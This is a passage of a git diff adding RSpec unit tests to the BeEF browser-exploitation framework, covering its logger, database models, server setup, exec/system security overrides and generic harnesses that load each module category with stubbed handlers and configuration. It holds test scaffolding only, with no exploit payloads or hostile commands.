Integer; expected String" + ) + end + + it 'raises TypeError when event is not a String' do + expect { logger.register('From', nil, 0) }.to raise_error( + TypeError, "'event' is NilClass; expected String" + ) + end + + it 'calls notifications when extension is enabled' do + notifications_double = double('Notifications') + logger.instance_variable_set(:@notifications, notifications_double) + allow(notifications_double).to receive(:new) + logger.register('Zombie', 'Browser hooked', 7) + expect(notifications_double).to have_received(:new).with( + 'Zombie', + 'Browser hooked', + kind_of(Time), + 7 + ) + end + end +end diff --git a/spec/beef/core/main/models/command_spec.rb b/spec/beef/core/main/models/command_spec.rb new file mode 100644 index 000000000..0a6d75d03 --- /dev/null +++ b/spec/beef/core/main/models/command_spec.rb @@ -0,0 +1,123 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +require 'spec_helper' + +RSpec.describe BeEF::Core::Models::Command do + describe 'associations' do + it 'has_many results' do + expect(described_class.reflect_on_association(:results)).not_to be_nil + expect(described_class.reflect_on_association(:results).macro).to eq(:has_many) + end + + it 'has_one command_module' do + expect(described_class.reflect_on_association(:command_module)).not_to be_nil + expect(described_class.reflect_on_association(:command_module).macro).to eq(:has_one) + end + + it 'has_one hooked_browser' do + expect(described_class.reflect_on_association(:hooked_browser)).not_to be_nil + expect(described_class.reflect_on_association(:hooked_browser).macro).to eq(:has_one) + end + end + + describe '.show_status' do + it 'returns ERROR for status -1' do + expect(described_class.show_status(-1)).to eq('ERROR') + end + + it 'returns SUCCESS for status 1' do + expect(described_class.show_status(1)).to eq('SUCCESS') + end + + it 'returns UNKNOWN for status 0' do + expect(described_class.show_status(0)).to eq('UNKNOWN') + end + + it 'returns UNKNOWN for any other status' do + expect(described_class.show_status(2)).to eq('UNKNOWN') + expect(described_class.show_status(99)).to eq('UNKNOWN') + end + end + + describe '.save_result' do + let(:hooked_browser) { BeEF::Core::Models::HookedBrowser.create!(session: 'cmd_save_session', ip: '127.0.0.1') } + let(:command_module) { BeEF::Core::Models::CommandModule.create!(name: 'cmd_save_mod', path: 'modules/test/') } + let(:command) do + described_class.create!( + hooked_browser_id: hooked_browser.id, + command_module_id: command_module.id + ) + end + + before do + allow(BeEF::Core::Logger.instance).to receive(:register) + allow(described_class).to receive(:print_info) + end + + it 'creates a Result and returns true when all args are valid' do + result = described_class.save_result( + 'cmd_save_session', + command.id, + 'Friendly Name', + { 'output' => 'data' }, + 1 + ) + + expect(result).to be true + created = BeEF::Core::Models::Result.last + expect(created).not_to be_nil + expect(created.command_id).to eq(command.id) + expect(created.hooked_browser_id).to eq(hooked_browser.id) + expect(created.status).to eq(1) + expect(JSON.parse(created.data)).to eq({ 'output' => 'data' }) + end + + it 'raises TypeError when hook_session_id is not a String' do + expect do + described_class.save_result(123, command.id, 'Name', {}, 1) + end.to raise_error(TypeError, '"hook_session_id" needs to be a string') + end + + it 'raises TypeError when command_id is not an Integer' do + expect do + described_class.save_result('cmd_save_session', '1', 'Name', {}, 1) + end.to raise_error(TypeError, '"command_id" needs to be an integer') + end + + it 'raises TypeError when command_friendly_name is not a String' do + expect do + described_class.save_result('cmd_save_session', command.id, 123, {}, 1) + end.to raise_error(TypeError, '"command_friendly_name" needs to be a string') + end + + it 'raises TypeError when result is not a Hash' do + expect do + described_class.save_result('cmd_save_session', command.id, 'Name', 'string', 1) + end.to raise_error(TypeError, '"result" needs to be a hash') + end + + it 'raises TypeError when status is not an Integer' do + expect do + described_class.save_result('cmd_save_session', command.id, 'Name', {}, '1') + end.to raise_error(TypeError, '"status" needs to be an integer') + end + + it 'raises TypeError when hooked_browser is not found for session' do + expect do + described_class.save_result('nonexistent_session', command.id, 'Name', {}, 1) + end.to raise_error(TypeError, 'hooked_browser is nil') + end + + it 'raises TypeError when command is not found for id and hooked_browser' do + BeEF::Core::Models::HookedBrowser.create!(session: 'other_session', ip: '127.0.0.1') + + expect do + described_class.save_result('other_session', command.id, 'Name', {}, 1) + end.to raise_error(TypeError, 'command is nil') + end + end +end diff --git a/spec/beef/core/main/models/commandmodule_spec.rb b/spec/beef/core/main/models/commandmodule_spec.rb new file mode 100644 index 000000000..96a1e272a --- /dev/null +++ b/spec/beef/core/main/models/commandmodule_spec.rb @@ -0,0 +1,26 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +require 'spec_helper' + +RSpec.describe BeEF::Core::Models::CommandModule do + describe 'associations' do + it 'has_many commands' do + expect(described_class.reflect_on_association(:commands)).not_to be_nil + expect(described_class.reflect_on_association(:commands).macro).to eq(:has_many) + end + end + + describe '.create' do + it 'creates a command module with name and path' do + mod = described_class.create!(name: 'test_module', path: 'modules/test/') + + expect(mod).to be_persisted + expect(mod.name).to eq('test_module') + expect(mod.path).to eq('modules/test/') + end + end +end diff --git a/spec/beef/core/main/models/hookedbrowser_spec.rb b/spec/beef/core/main/models/hookedbrowser_spec.rb new file mode 100644 index 000000000..eeef52924 --- /dev/null +++ b/spec/beef/core/main/models/hookedbrowser_spec.rb @@ -0,0 +1,44 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +require 'spec_helper' + +RSpec.describe BeEF::Core::Models::HookedBrowser do + describe 'associations' do + it 'has_many commands' do + expect(described_class.reflect_on_association(:commands)).not_to be_nil + expect(described_class.reflect_on_association(:commands).macro).to eq(:has_many) + end + + it 'has_many results' do + expect(described_class.reflect_on_association(:results)).not_to be_nil + expect(described_class.reflect_on_association(:results).macro).to eq(:has_many) + end + + it 'has_many logs' do + expect(described_class.reflect_on_association(:logs)).not_to be_nil + expect(described_class.reflect_on_association(:logs).macro).to eq(:has_many) + end + end + + describe '#count!' do + it 'sets count to 1 when count is nil' do + hb = described_class.create!(session: 'count_nil', ip: '127.0.0.1', count: nil) + + hb.count! + + expect(hb.count).to eq(1) + end + + it 'increments count when count is already set' do + hb = described_class.create!(session: 'count_set', ip: '127.0.0.1', count: 3) + + hb.count! + + expect(hb.count).to eq(4) + end + end +end diff --git a/spec/beef/core/main/models/log_spec.rb b/spec/beef/core/main/models/log_spec.rb new file mode 100644 index 000000000..9c2750ceb --- /dev/null +++ b/spec/beef/core/main/models/log_spec.rb @@ -0,0 +1,42 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +require 'spec_helper' + +RSpec.describe BeEF::Core::Models::Log do + describe 'associations' do + it 'has_one hooked_browser' do + expect(described_class.reflect_on_association(:hooked_browser)).not_to be_nil + expect(described_class.reflect_on_association(:hooked_browser).macro).to eq(:has_one) + end + end + + describe '.create' do + it 'creates a log with logtype, event, and date' do + log = described_class.create!( + logtype: 'TestSource', + event: 'Test event message', + date: Time.now + ) + + expect(log).to be_persisted + expect(log.logtype).to eq('TestSource') + expect(log.event).to eq('Test event message') + end + + it 'can store hooked_browser_id' do + hb = BeEF::Core::Models::HookedBrowser.create!(session: 'log_hb', ip: '127.0.0.1') + log = described_class.create!( + logtype: 'Hook', + event: 'Browser hooked', + date: Time.now, + hooked_browser_id: hb.id + ) + + expect(log.hooked_browser_id).to eq(hb.id) + end + end +end diff --git a/spec/beef/core/main/server_spec.rb b/spec/beef/core/main/server_spec.rb index b694c9bb1..b19ddcf53 100644 --- a/spec/beef/core/main/server_spec.rb +++ b/spec/beef/core/main/server_spec.rb @@ -110,4 +110,68 @@ RSpec.describe BeEF::Core::Server do server.remap end end + + describe '#prepare' do + before do + allow(BeEF::API::Registrar.instance).to receive(:fire).with(BeEF::API::Server, 'mount_handler', server) + allow(config).to receive(:get).and_return(nil) + allow(config).to receive(:get).with('beef.http.hook_file').and_return('/hook.js') + allow(config).to receive(:get).with('beef.http.host').and_return('0.0.0.0') + allow(config).to receive(:get).with('beef.http.port').and_return('3000') + allow(config).to receive(:get).with('beef.http.debug').and_return(false) + allow(config).to receive(:get).with('beef.http.https.enable').and_return(false) + allow(config).to receive(:get).with('beef.debug').and_return(false) + allow(Thin::Server).to receive(:new).and_return(double('Thin::Server')) + end + + it 'mounts hook file handler and init handler' do + server.prepare + expect(server.mounts).to have_key('/hook.js') + expect(server.mounts).to have_key('/init') + expect(server.mounts['/hook.js']).not_to be_nil + expect(server.mounts['/init']).to eq(BeEF::Core::Handlers::BrowserDetails) + end + + it 'builds Rack URLMap from mounts' do + server.prepare + expect(server.instance_variable_get(:@rack_app)).to be_a(Rack::URLMap) + end + + it 'returns early when @http_server already set' do + allow(Thin::Server).to receive(:new) + existing = double('Thin::Server') + server.instance_variable_set(:@http_server, existing) + server.prepare + expect(Thin::Server).not_to have_received(:new) + end + + it 'sets Thin::Logging when beef.http.debug is true' do + allow(config).to receive(:get).with('beef.http.debug').and_return(true) + allow(Thin::Logging).to receive(:silent=) + allow(Thin::Logging).to receive(:debug=) + server.prepare + expect(Thin::Logging).to have_received(:silent=).with(false) + expect(Thin::Logging).to have_received(:debug=).with(true) + end + end + + describe '#start' do + it 'rescues port-in-use error and exits' do + mock_thin = double('Thin::Server') + allow(mock_thin).to receive(:start).and_raise(RuntimeError.new('no acceptor')) + server.instance_variable_set(:@http_server, mock_thin) + allow(server).to receive(:print_error) + allow(server).to receive(:exit).with(127) { raise SystemExit.new(127) } + expect { server.start }.to raise_error(SystemExit) + expect(server).to have_received(:print_error).with(/port|invalid IP/i) + expect(server).to have_received(:exit).with(127) + end + + it 're-raises RuntimeError when message does not include no acceptor' do + mock_thin = double('Thin::Server') + allow(mock_thin).to receive(:start).and_raise(RuntimeError.new('other error')) + server.instance_variable_set(:@http_server, mock_thin) + expect { server.start }.to raise_error(RuntimeError, 'other error') + end + end end diff --git a/spec/beef/core/ruby/security_spec.rb b/spec/beef/core/ruby/security_spec.rb index ba257bfcd..9b9fa9a33 100644 --- a/spec/beef/core/ruby/security_spec.rb +++ b/spec/beef/core/ruby/security_spec.rb @@ -25,4 +25,30 @@ RSpec.describe 'Security method overrides' do expect(Kernel.method(:system).source_location).not_to be_nil expect(Kernel.method(:system).source_location[0]).to include('core/ruby/security.rb') end + + describe 'override behavior' do + it 'exec prints security message and exits' do + allow(Kernel).to receive(:puts) + allow(Kernel).to receive(:exit) + exec('ls') + expect(Kernel).to have_received(:puts).with(/security reasons.*exec/) + expect(Kernel).to have_received(:exit) + end + + it 'system prints security message and exits' do + allow(Kernel).to receive(:puts) + allow(Kernel).to receive(:exit) + system('ls') + expect(Kernel).to have_received(:puts).with(/security reasons.*system/) + expect(Kernel).to have_received(:exit) + end + + it 'Kernel.system prints security message and exits' do + allow(Kernel).to receive(:puts) + allow(Kernel).to receive(:exit) + Kernel.system('ls') + expect(Kernel).to have_received(:puts).with(/security reasons.*system/) + expect(Kernel).to have_received(:exit) + end + end end diff --git a/spec/beef/modules/browser/browser_spec.rb b/spec/beef/modules/browser/browser_spec.rb new file mode 100644 index 000000000..df19163c2 --- /dev/null +++ b/spec/beef/modules/browser/browser_spec.rb @@ -0,0 +1,102 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Unit tests for every module under modules/browser/ (including hooked_origin). +# Branch coverage: extra post_execute for modules that set BrowserDetails when results match. +# + +require_relative '../../../spec_helper' + +project_root = File.expand_path('../../../../', __dir__) +browser_module_paths = Dir[File.join(project_root, 'modules/browser/**/module.rb')].sort + +# Load branch coverage data from centralised config +BRANCH_COVERAGE_BROWSER = BeefTestConfig.branch_coverage_for(:browser) + +browser_module_paths.each do |path| + rel = path.sub("#{project_root}/", '').sub(/\.rb$/, '') + branch_key = File.dirname(path).sub("#{project_root}/", '') + require_path = File.join('../../../../', rel) + class_line = File.read(path).lines.find { |l| l =~ /\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/ } + next unless class_line + + klass_name = class_line.match(/\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/)[1] + require_relative require_path + mod = Object.const_get(klass_name) + + RSpec.describe mod do + if described_class.respond_to?(:options) + describe '.options' do + it 'returns an Array' do + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:beef_host).and_return('127.0.0.1') + allow(config).to receive(:beef_proto).and_return('http') + allow(config).to receive(:beef_port).and_return('3000') + allow(config).to receive(:beef_url_str).and_return('http://127.0.0.1:3000') + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + + expect(described_class.options).to be_an(Array) + end + end + end + + if described_class.method_defined?(:pre_send) + describe '#pre_send' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind).and_return(nil) + allow(handler).to receive(:bind).and_return(nil) + allow(handler).to receive(:bind_raw).and_return(nil) + allow(handler).to receive(:remap).and_return(nil) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + instance = build_command_instance(described_class, 'result' => '', 'results' => '', 'cid' => '0') + expect { run_pre_send(instance) }.not_to raise_error + end + end + end + + if described_class.method_defined?(:post_execute) + describe '#post_execute' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind) + allow(handler).to receive(:bind) + allow(handler).to receive(:remap) + allow(handler).to receive(:bind_raw) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + # Some modules (e.g. Spyder_eye) write screenshot files to $home_dir on the success path. + # Stub File.open with a block-aware double so the test never touches the real filesystem. + file_double = double('File').as_null_object + allow(File).to receive(:open) do |*_args, &block| + block ? block.call(file_double) : file_double + end + + instance = build_command_instance(described_class, 'result' => '', 'results' => '', 'cid' => '0') + expect { run_post_execute(instance) }.not_to raise_error + end + + if BRANCH_COVERAGE_BROWSER[branch_key] + it 'runs branch path with realistic datastore' do + branch = BRANCH_COVERAGE_BROWSER[branch_key] + + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind) + allow(handler).to receive(:bind) + allow(handler).to receive(:remap) + allow(handler).to receive(:bind_raw) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + allow(BeEF::Core::Models::BrowserDetails).to receive(:set) + instance = build_command_instance(described_class, branch[:datastore]) + expect { run_post_execute(instance) }.not_to raise_error + end + end + end + end + end +end diff --git a/spec/beef/modules/chrome_extensions/chrome_extensions_spec.rb b/spec/beef/modules/chrome_extensions/chrome_extensions_spec.rb new file mode 100644 index 000000000..9f19b73b2 --- /dev/null +++ b/spec/beef/modules/chrome_extensions/chrome_extensions_spec.rb @@ -0,0 +1,71 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Unit tests for every module under modules/chrome_extensions/. +# Each directory is tested for .options (when present) and #post_execute. +# + +require_relative '../../../spec_helper' + +project_root = File.expand_path('../../../../', __dir__) +chrome_module_paths = Dir[File.join(project_root, 'modules/chrome_extensions/**/module.rb')].sort + +chrome_module_paths.each do |path| + rel = path.sub("#{project_root}/", '').sub(/\.rb$/, '') + require_path = File.join('../../../../', rel) + class_line = File.read(path).lines.find { |l| l =~ /\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/ } + next unless class_line + + klass_name = class_line.match(/\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/)[1] + require_relative require_path + mod = Object.const_get(klass_name) + + RSpec.describe mod do + if described_class.respond_to?(:options) + describe '.options' do + it 'returns an Array' do + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:beef_host).and_return('127.0.0.1') + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + + expect(described_class.options).to be_an(Array) + end + end + end + + if described_class.method_defined?(:pre_send) + describe '#pre_send' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind).and_return(nil) + allow(handler).to receive(:bind).and_return(nil) + allow(handler).to receive(:bind_raw).and_return(nil) + allow(handler).to receive(:remap).and_return(nil) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + instance = build_command_instance(described_class, 'return' => '', 'result' => '', 'cid' => '0') + expect { run_pre_send(instance) }.not_to raise_error + end + end + end + + if described_class.method_defined?(:post_execute) + describe '#post_execute' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind) + allow(handler).to receive(:bind) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + + instance = build_command_instance(described_class, 'return' => '', 'result' => '', 'cid' => '0') + expect { run_post_execute(instance) }.not_to raise_error + end + end + end + end +end diff --git a/spec/beef/modules/debug/debug_spec.rb b/spec/beef/modules/debug/debug_spec.rb new file mode 100644 index 000000000..003481c50 --- /dev/null +++ b/spec/beef/modules/debug/debug_spec.rb @@ -0,0 +1,75 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Unit tests for every module under modules/debug/. +# Each directory is tested for .options (when present) and #post_execute. +# See test_beef_debugs_spec.rb for integration/E2E tests (BrowserStack). +# + +require_relative '../../../spec_helper' + +project_root = File.expand_path('../../../../', __dir__) +debug_module_paths = Dir[File.join(project_root, 'modules/debug/**/module.rb')].sort + +debug_module_paths.each do |path| + rel = path.sub("#{project_root}/", '').sub(/\.rb$/, '') + require_path = File.join('../../../../', rel) + class_line = File.read(path).lines.find { |l| l =~ /\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/ } + next unless class_line + + klass_name = class_line.match(/\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/)[1] + require_relative require_path + mod = Object.const_get(klass_name) + + RSpec.describe mod do + if described_class.respond_to?(:options) + describe '.options' do + it 'returns an Array' do + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:beef_host).and_return('127.0.0.1') + allow(config).to receive(:beef_port).and_return('3000') + allow(config).to receive(:beef_proto).and_return('http') + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + + expect(described_class.options).to be_an(Array) + end + end + end + + if described_class.method_defined?(:pre_send) + describe '#pre_send' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind).and_return(nil) + allow(handler).to receive(:bind).and_return(nil) + allow(handler).to receive(:bind_raw).and_return(nil) + allow(handler).to receive(:bind_redirect).with(anything, anything).and_return(nil) + allow(handler).to receive(:remap).and_return(nil) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + instance = build_command_instance(described_class, 'result' => '', 'results' => '', 'cid' => '0') + expect { run_pre_send(instance) }.not_to raise_error + end + end + end + + if described_class.method_defined?(:post_execute) + describe '#post_execute' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind) + allow(handler).to receive(:bind) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + + instance = build_command_instance(described_class, 'result' => '', 'results' => '', 'cid' => '0') + expect { run_post_execute(instance) }.not_to raise_error + end + end + end + end +end diff --git a/spec/beef/modules/exploits/exploits_spec.rb b/spec/beef/modules/exploits/exploits_spec.rb new file mode 100644 index 000000000..2690be841 --- /dev/null +++ b/spec/beef/modules/exploits/exploits_spec.rb @@ -0,0 +1,110 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Unit tests for every module under modules/exploits/. +# Branch coverage: extra post_execute for modules with conditional branches +# (driven by BeefTestConfig.branch_coverage_for(:exploits) in spec_helper.rb). +# + +require_relative '../../../spec_helper' + +project_root = File.expand_path('../../../../', __dir__) +exploit_module_paths = Dir[File.join(project_root, 'modules/exploits/**/module.rb')].sort + +BRANCH_COVERAGE_EXPLOITS = BeefTestConfig.branch_coverage_for(:exploits) + +exploit_module_paths.each do |path| + rel = path.sub("#{project_root}/", '').sub(/\.rb$/, '') + branch_key = File.dirname(path).sub("#{project_root}/", '') + require_path = File.join('../../../../', rel) + class_line = File.read(path).lines.find { |l| l =~ /\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/ } + next unless class_line + + klass_name = class_line.match(/\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/)[1] + require_relative require_path + mod = Object.const_get(klass_name) + + RSpec.describe mod do + if described_class.respond_to?(:options) + describe '.options' do + it 'returns an Array' do + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:beef_host).and_return('127.0.0.1') + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + + expect(described_class.options).to be_an(Array) + end + end + end + + if described_class.method_defined?(:pre_send) + describe '#pre_send' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind).and_return(nil) + allow(handler).to receive(:bind).and_return(nil) + allow(handler).to receive(:bind_raw).and_return(nil) + allow(handler).to receive(:remap).and_return(nil) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + instance = build_command_instance(described_class, {}) + expect { run_pre_send(instance) }.not_to raise_error + end + end + end + + if described_class.method_defined?(:post_execute) + describe '#post_execute' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind) + allow(handler).to receive(:bind) + allow(handler).to receive(:remap) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + + instance = build_command_instance(described_class, {}) + expect { run_post_execute(instance) }.not_to raise_error + end + + if BRANCH_COVERAGE_EXPLOITS[branch_key] + it 'runs branch path with realistic datastore' do + raw = BRANCH_COVERAGE_EXPLOITS[branch_key] + branches = raw.is_a?(Array) ? raw : [raw] + + # NetworkService / NetworkHost belong to the network extension and may not be + # loaded during a modules-only spec run. Provide class doubles per-example + # so `allow(...).to receive(:create)` resolves regardless. + stub_const('BeEF::Core::Models::NetworkService', Class.new { def self.create(*); end }) unless defined?(BeEF::Core::Models::NetworkService) + stub_const('BeEF::Core::Models::NetworkHost', Class.new { def self.create(*); end }) unless defined?(BeEF::Core::Models::NetworkHost) + + branches.each do |branch| + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind) + allow(handler).to receive(:bind) + allow(handler).to receive(:remap) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + allow(BeEF::Core::Models::NetworkService).to receive(:create) + allow(BeEF::Core::Models::NetworkHost).to receive(:create) + allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true) + if branch[:config_get] + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:beef_host).and_return('127.0.0.1') + allow(config).to receive(:get).with(anything) do |key| + branch[:config_get].key?(key) ? branch[:config_get][key] : '127.0.0.1' + end + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + end + instance = build_command_instance(described_class, branch[:datastore]) + expect { run_post_execute(instance) }.not_to raise_error + end + end + end + end + end + end +end diff --git a/spec/beef/modules/host/host_spec.rb b/spec/beef/modules/host/host_spec.rb new file mode 100644 index 000000000..9b865315e --- /dev/null +++ b/spec/beef/modules/host/host_spec.rb @@ -0,0 +1,131 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Unit tests for every module under modules/host/. +# Each directory is tested for .options (when present), #pre_send, and #post_execute. +# Branch coverage: extra post_execute runs for modules listed in +# BeefTestConfig.branch_coverage_for(:host) (defined in spec_helper.rb). +# + +require_relative '../../../spec_helper' + +project_root = File.expand_path('../../../../', __dir__) +host_module_paths = Dir[File.join(project_root, 'modules/host/**/module.rb')].sort + +BRANCH_COVERAGE_HOST = BeefTestConfig.branch_coverage_for(:host) + +host_module_paths.each do |path| + rel = path.sub("#{project_root}/", '').sub(/\.rb$/, '') + branch_key = File.dirname(path).sub("#{project_root}/", '') + require_path = File.join('../../../../', rel) + class_line = File.read(path).lines.find { |l| l =~ /\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/ } + next unless class_line + + klass_name = class_line.match(/\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/)[1] + require_relative require_path + mod = Object.const_get(klass_name) + + RSpec.describe mod do + if described_class.respond_to?(:options) + describe '.options' do + it 'returns an Array' do + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:beef_host).and_return('127.0.0.1') + allow(config).to receive(:beef_url_str).and_return('http://127.0.0.1:3000') + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + + expect(described_class.options).to be_an(Array) + end + end + end + + if described_class.method_defined?(:pre_send) + describe '#pre_send' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind).and_return(nil) + allow(handler).to receive(:bind).and_return(nil) + allow(handler).to receive(:bind_raw).and_return(nil) + allow(handler).to receive(:remap).and_return(nil) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(config).to receive(:beef_host).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + # Stub File.open so Hook_default_browser#pre_send doesn't read/write the real + # bounce_to_ie_configured.pdf in modules/host/hook_default_browser/. + # The source calls File.open(path, 'w') without a block and File.open(path, 'r') { |f| ... } with one. + file_double = double('File').as_null_object + allow(File).to receive(:open) do |*_args, &block| + block ? block.call(file_double) : file_double + end + instance = build_command_instance(described_class, 'result' => '', 'results' => '', 'cid' => '0') + expect { run_pre_send(instance) }.not_to raise_error + end + end + end + + if described_class.method_defined?(:post_execute) + describe '#post_execute' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind) + allow(handler).to receive(:bind) + allow(handler).to receive(:remap) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + + file_double = double('File').as_null_object + allow(File).to receive(:open).and_return(file_double) + allow(BeEF::Core::Models::Command).to receive(:save_result) + allow_any_instance_of(described_class).to receive(:ip).and_return('0.0.0.0') + allow_any_instance_of(described_class).to receive(:timestamp).and_return('0') + + # Minimal datastore so modules that call .sub/.to_s on keys don't get nil + instance = build_command_instance(described_class, 'result' => '', 'results' => '', 'cid' => '0') + expect { run_post_execute(instance) }.not_to raise_error + end + + if BRANCH_COVERAGE_HOST[branch_key] + it 'runs branch path with realistic datastore' do + branch = BRANCH_COVERAGE_HOST[branch_key] + + # NetworkService / NetworkHost belong to the network extension and may not be + # loaded during a modules-only spec run. Provide class doubles per-example + # so `allow(...).to receive(:create)` resolves regardless. + stub_const('BeEF::Core::Models::NetworkService', Class.new { def self.create(*); end }) unless defined?(BeEF::Core::Models::NetworkService) + stub_const('BeEF::Core::Models::NetworkHost', Class.new { def self.create(*); end }) unless defined?(BeEF::Core::Models::NetworkHost) + + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind) + allow(handler).to receive(:bind) + allow(handler).to receive(:remap) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + file_double = double('File').as_null_object + allow(File).to receive(:open).and_return(file_double) + allow(BeEF::Core::Models::Command).to receive(:save_result) + allow_any_instance_of(described_class).to receive(:ip).and_return('0.0.0.0') + allow_any_instance_of(described_class).to receive(:timestamp).and_return('0') + allow(BeEF::Core::Models::NetworkService).to receive(:create) + allow(BeEF::Core::Models::NetworkHost).to receive(:create) + allow(BeEF::Core::Models::BrowserDetails).to receive(:get).and_return('Linux') + allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true) + + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:beef_host).and_return('127.0.0.1') + allow(config).to receive(:beef_url_str).and_return('http://127.0.0.1:3000') + allow(config).to receive(:get).with(anything) do |key| + branch[:config_get].key?(key) ? branch[:config_get][key] : '127.0.0.1' + end + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + + instance = build_command_instance(described_class, branch[:datastore]) + expect { run_post_execute(instance) }.not_to raise_error + end + end + end + end + end +end diff --git a/spec/beef/modules/ipec/ipec_spec.rb b/spec/beef/modules/ipec/ipec_spec.rb new file mode 100644 index 000000000..b86116849 --- /dev/null +++ b/spec/beef/modules/ipec/ipec_spec.rb @@ -0,0 +1,113 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Unit tests for every module under modules/ipec/. +# +# Some ipec modules reference 